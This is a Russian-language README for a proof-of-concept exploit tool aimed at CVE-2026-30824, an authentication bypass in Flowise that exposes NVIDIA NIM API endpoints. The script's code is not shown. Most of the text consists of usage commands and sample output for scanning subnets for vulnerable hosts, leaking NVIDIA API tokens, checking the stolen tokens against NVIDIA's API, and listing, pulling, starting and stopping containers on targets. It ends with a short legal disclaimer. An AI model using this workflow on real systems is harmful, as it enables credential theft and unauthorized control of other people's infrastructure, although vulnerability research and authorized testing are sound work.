
Доказательство концепции эксплуатации для **CVE-2026-30824**, критической уязвимости обхода аутентификации в Flowise, которая раскрывает конечные точки NVIDIA NIM API без аутентификации.
Доказательство концепции: проверка и эксплойт для CVE-2026-30824, критической уязвимости обхода аутентификации в Flowise, которая открывает доступ к API-эндпоинтам NVIDIA NIM без аутентификации.
CVE-2026-30824 — это критический обход аутентификации в Flowise (< 3.0.13), который позволяет неаутентифицированным удалённым злоумышленникам получать доступ к управлению контейнерами NVIDIA NIM и эндпоинтам генерации API-токенов.
| Поле | Значение |
|---|---|
| Оценка CVSS | 9.8 (Критическая) |
| CWE | CWE-306: Отсутствие аутентификации для критической функции |
| Затронутые версии | Flowise < 3.0.13 |
| Воздействие | Полное управление контейнерами, доступ к GPU, кража токенов |
Путь /api/v1/nvidia-nim/* внесён в белый список глобального промежуточного ПО аутентификации, что позволяет неаутентифицированный доступ к:
✅ Обнаружение уязвимости — Быстрая проверка, уязвима ли цель
✅ Извлечение токенов — Утечка API-токенов NVIDIA из уязвимых эндпоинтов
✅ Проверка токенов — Верификация токенов через NVIDIA API (демонстрация радиуса поражения)
✅ Перечисление контейнеров — Список запущенных контейнеров NIM
✅ Пакетное сканирование — Сканирование нескольких целей из файла
✅ Обход SSL — Игнорирование самоподписанных сертификатов по умолчанию
✅ Цветной вывод — Удобные индикаторы статуса (зелёный/жёлтый/красный)
✅ Разведка — Полное картирование эндпоинтов и диагностика
requests# Клонируйте или скачайте скрипт
git clone <repository>
cd cve-2026-30824
# Установите зависимости
pip install -r requirements.txt
# или
pip install requests
# Проверка, уязвима ли одна цель
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# Ожидаемый вывод (УЯЗВИМА):
# [+] Цель ВЫГЛЯДИТ УЯЗВИМОЙ (HTTP 200)
# Ответ: {...}
# Создайте targets.txt с одним URL на строку
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# Сканирование всех целей (быстрый режим, без запросов)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# Ожидаемый сводный вывод:
# ============================================================
# [*] Сводка сканирования
# ============================================================
# [+] УЯЗВИМЫХ: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] ИСПРАВЛЕНО: 1
# ✗ http://192.168.1.102:3000
# Утечка API-токена NVIDIA из уязвимого эндпоинта
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# Ожидаемый вывод:
# [*] Попытка утечки API-токена NVIDIA...
# [+] API-токен NVIDIA: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Тип токена: Bearer
# [+] Срок действия: 3600s
# Проверка, что утёкший токен работает с реальным NVIDIA API
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Ожидаемый вывод:
# [*] Проверка токена через NVIDIA API...
# [+] Токен ДЕЙСТВИТЕЛЕН! Доступ к 45 моделям NVIDIA NIM.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# Перечисление контейнеров на цели
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# Ожидаемый вывод:
# [*] Получение списка запущенных контейнеров...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# Запуск всех проверок разведки на уязвимой цели
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Необязательные аргументы:
-h, --help Показать это справочное сообщение и выйти
-t, --target TARGET URL цели (например, http://192.168.1.100:3000)
-f, --targets-file FILE Файл со списком целей (по одной на строку)
Обнаружение уязвимости:
--check Только проверить, уязвима ли цель
--scan-only Сканировать цели на уязвимость без запросов
--debug Показать детали запросов и необработанные ответы
Эксплуатация:
--get-token Утечка API-токена NVIDIA
--validate-token TOKEN Проверить утёкший токен через NVIDIA API
--list-containers Список запущенных контейнеров NIM
--get-container CONTAINER_ID Получить детали контейнера
--get-image IMAGE_ID Получить детали образа
--pull-image IMAGE_TAG Загрузить Docker-образ (например, nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Запустить контейнер из тега образа
--container-name NAME Имя для запущенного контейнера
--stop-container CONTAINER_ID Остановить запущенный контейнер
--preload Запустить эндпоинт предварительной загрузки ресурсов
--all Запустить все проверки разведки
Дополнительно:
--timeout SECONDS Таймаут запроса в секундах (по умолчанию: 15)
# 1. Сканировать всю подсеть на уязвимые экземпляры
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. Для каждой уязвимой цели извлечь токен
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. Проверить воздействие токена
python3 CVE-2026-30824.py --validate-token "<extracted-token>"
# Проверить уязвимость и продемонстрировать полный радиус поражения
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# Это выполнит:
# 1. Проверку уязвимости
# 2. Извлечение API-токена NVIDIA
# 3. Проверку токена через NVIDIA API
# 4. Список запущенных контейнеров
# 5. Перечисление ресурсов
# Периодический мониторинг цели (через cron или планировщик)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | Значение |
|---|---|
| 200 | ✅ Уязвимо (эндпоинт доступен) |
| 400 | ✅ Уязвимо (ошибка приложения, но эндпоинт существует) |
Проблема: Эндпоинт возвращает HTML-страницу вместо JSON-ответа API.
Решения:
Проблема: Невозможно достичь цели.
Решения:
# Проверка подключения
curl -v http://192.168.1.100:3000/
# Увеличение таймаута
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
Проблема: Цель использует самоподписанный или просроченный сертификат.
Решение: Скрипт отключает проверку SSL по умолчанию. Если проблемы сохраняются:
# Явно укажите порт и протокол
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
Проблема: Токен извлечён, но проверка через NVIDIA API не удаётся.
Причины:
⚠️ ПРАВОВОЕ УВЕДОМЛЕНИЕ
Если вы обнаружили эту уязвимость в реальной среде:
Немедленно:
В долгосрочной перспективе:
/api/v1/nvidia-nim/*Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Подробности см. в файле LICENSE.
Этот эксплойт предоставляется "как есть" без каких-либо гарантий. Используйте только на системах, которыми вы владеете или на которые имеете явное письменное разрешение на тестирование. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
Создан для авторизованного тестирования на проникновение и исследований в области безопасности.
Последнее обновление: апрель 2026 г.
| 401 | 🟡 Исправлено (требуется аутентификация) |
| 404 | 🟡 Не Flowise или эндпоинт не существует |
| 5xx | 🔴 Ошибка сервера/неправильная конфигурация |